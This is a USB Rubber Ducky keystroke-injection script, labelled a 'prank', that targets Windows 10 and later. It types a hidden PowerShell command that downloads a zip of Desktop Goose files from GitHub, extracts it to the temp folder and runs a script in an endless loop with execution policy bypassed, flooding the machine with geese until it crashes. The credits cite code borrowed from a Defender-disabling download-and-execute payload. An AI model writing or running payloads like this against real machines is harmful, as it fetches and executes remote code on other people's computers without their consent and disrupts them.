REM Title: Desktop Goose crasher
REM Author: FalsePhilosopher
REM Target:  Windows 10+
REM Props: Hak5, https://samperson.itch.io/desktop-goose for the honks,Jakoby for some PS bits I used from ADV-Rickroll https://github.com/I-Am-Jakoby, 3ctOs for the PS bits I used https://github.com/3ct0s/badusb-download-execute-disable-windows-defender and memes
REM Version: 1.0
REM Category: Prank
REM Downloads and lets loose THE GOOSE!He'll nab your mouse, track mud on your screen...  leave you a message, deliver you memes? This version spawns ALL THE GEESE!
REM
REM startup delay
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GUI r
DELAY 500
STRING powershell
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STRING powershell -w h -NoP -NonI ($Z="$env:TMP"+'\dg.zip');$D="$env:TMP"+'\dg';curl https://github.com/UberGuidoZ/FalsePhilosopher-BadUSB-Playground/raw/89f0c34e05fbf9926d6524b154d9d7be99763665/Ducky/USBRubberducky/library/prank/Win/Desktop_Goose/dg.zip -O $Z;Expand-Archive $Z -DestinationPath $D\ -Force;;powershell -Exec Bypass "while (1) {$D\dgc.ps1}"
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